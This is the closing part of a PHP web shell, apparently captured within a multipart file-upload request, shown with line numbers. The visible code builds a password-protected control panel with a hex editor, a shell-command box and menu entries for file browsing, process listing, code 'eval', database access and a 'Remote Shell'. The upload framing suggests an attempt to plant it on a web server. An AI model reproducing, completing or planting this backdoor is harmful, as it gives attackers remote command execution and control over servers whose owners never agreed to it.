2185 setcurpos(r,curpos+1,curpos+1);
2186 }
2187 }
2188
2189 if(r && s){
2190 var str = '';
2191 hexs = r.value;
2192 hex = hexs.replace(/\s+/ig,'');
2193 for(var i=0;i<hex.length;i+=2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
2194
2195 str = str.replace(/[^\x21-\x7E]/ig,'.');
2196 str = str.replace('<','<')
2197 str = str.replace('>','>')
2198
2199 dmppos = Math.floor(curpos/3);
2200 chr = str.substr(dmppos,1);
2201 before = (dmppos>=1)? str.substr(0,dmppos):'';
2202 after = (dmppos<str.length)? str.substr(dmppos+1):'';
2203 finalstr = before + "<span class='gaya' style='background:#000;font-weight:bold;border-bottom:1px solid #fff;border-top:1px solid #fff;'>" + chr + "</span>" + after;
2204 s.innerHTML = finalstr;
2205 }
2206}
2207function submithex(){
2208 if(!hexstatus){
2209 hexstatus=true;
2210 var hexstr = '';
2211 var counter = d.getElementById('counter').value;
2212 for(var i=0;i<counter;i++){
2213 var hex = d.getElementById('hex_'+i);
2214 hexstr+=hex.value;
2215 hex.remove();
2216 }
2217 hexstr = hexstr.replace(/\s+/g,'');
2218 var hexestxtarea = d.getElementById('hexestxtarea');
2219 hexestxtarea.innerHTML = hexstr;
2220 hexestxtarea.form.submit();
2221 }
2222}
2223function evalselect(e){
2224 var a = d.getElementById('additionaloption');
2225 var b = d.getElementById('gccoption');
2226 if(a){
2227 if(e.value=='php') a.className='sembunyi';
2228 else a.className='';
2229 if(b) gccoption.value ='';
2230 }
2231}
2232function getcurpos(c){
2233 var p = 0;
2234 if(d.selection){
2235 c.focus ();
2236 var Sel = d.selection.createRange();
2237 Sel.moveStart ('character', -c.value.length);
2238 p = Sel.text.length;
2239 }
2240 else if(c.selectionStart || c.selectionStart == '0')
2241 p = c.selectionStart;
2242 return p;
2243}
2244function setcurpos(c,p1,p2){
2245 if(c.setSelectionRange){
2246 c.focus();
2247 c.setSelectionRange(p1,p2);
2248 }
2249 else if(c.createTextRange){
2250 var r = c.createTextRange();
2251 r.collapse(true);
2252 r.moveStart('character', p1);
2253 r.moveEnd('character', p2);
2254 r.select();
2255 }
2256}
2257function clearpos(){
2258 var a = d.getElementsByName('hexdump');
2259 for(var i=0;i<a.length;i++){
2260 a[i].innerHTML = a[i].innerHTML.replace(/<[^>]+>/ig,'');
2261 }
2262}
2263function findtype(ty){
2264 var z = d.getElementById('type');
2265 if(z && (ty=='sdir')) z.selectedIndex = 1;
2266 else if(z && (ty=='sfile')) z.selectedIndex = 0;
2267}
2268</script>
2269</head>
2270<body>
2271<table id='main'><tr><td>
2272<?php if($s_auth){?>
2273 <div><span style='float:right;'><a href='<?php echo $s_self; ?>logout'>log out</a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>'><?php echo $s_name; ?></a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'><?php echo $s_ver; ?></div></td></tr></table></td>
2274 <td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table>
2275 </div>
2276 <div style='clear:both;'></div>
2277 <div id='menu'>
2278 <table style='width:100%;'><tr>
2279 <td><a href='<?php echo $s_self; ?>' title='Explorer'><div class='menumi'>xpl</div></a></td>
2280 <td><a href='<?php echo $s_self; ?>ps' title='Display process status'><div class='menumi'>ps</div></a></td>
2281 <td><a href='<?php echo $s_self; ?>eval' title='Execute code'><div class='menumi'>eval</div></a></td>
2282 <td><a href='<?php echo $s_self; ?>info' title='Information about server'><div class='menumi'>info</div></a></td>
2283 <td><a href='<?php echo $s_self; ?>db' title='Connect to database'><div class='menumi'>db</div></a></td>
2284 <td><a href='<?php echo $s_self; ?>rs' title='Remote Shell'><div class='menumi'>rs</div></a></td>
2285 <td style='width:100%;padding:0 0 0 6px;'>
2286 <form action='<?php echo $s_self; ?>' method='post'><span class='prompt'><?php echo $s_prompt; ?></span>
2287 <input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
2288if(isset($_REQUEST['cmd'])) echo "";
2289else echo "- shell command -";
2290?>' />
2291 <noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript>
2292 </form>
2293 </td>
2294 </tr>
2295 </table>
2296 </div>
2297 <div id='content' id='box_shell'>
2298 <div id='result'><?php echo $s_result; ?></div>
2299 </div><?php }
2300else{ ?>
2301 <div style='width:100%;text-align:center;'>
2302
2303 <form action='<?php echo $s_self; ?>' method='post'>
2304 <img src='<?php echo $s_self; ?>favicon' style='margin:2px;vertical-align:middle;' />
2305 <?php echo $s_name; ?> <span class='gaya'><?php echo $s_ver; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
2306 <input class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' />
2307 </form>
2308 </div>
2309
2310<?php } ?>
2311</td></tr></table>
2312<p class='footer'>Jayalah Indonesiaku ©<?php echo @date("Y",time())." ".$s_name; ?></p>
2313</body>
2314</html><?php die(); ?>
2315-----------------------------7230262952046
2316Content-Disposition: form-data; name="enviar"
2317
2318Enviar
2319-----------------------------7230262952046--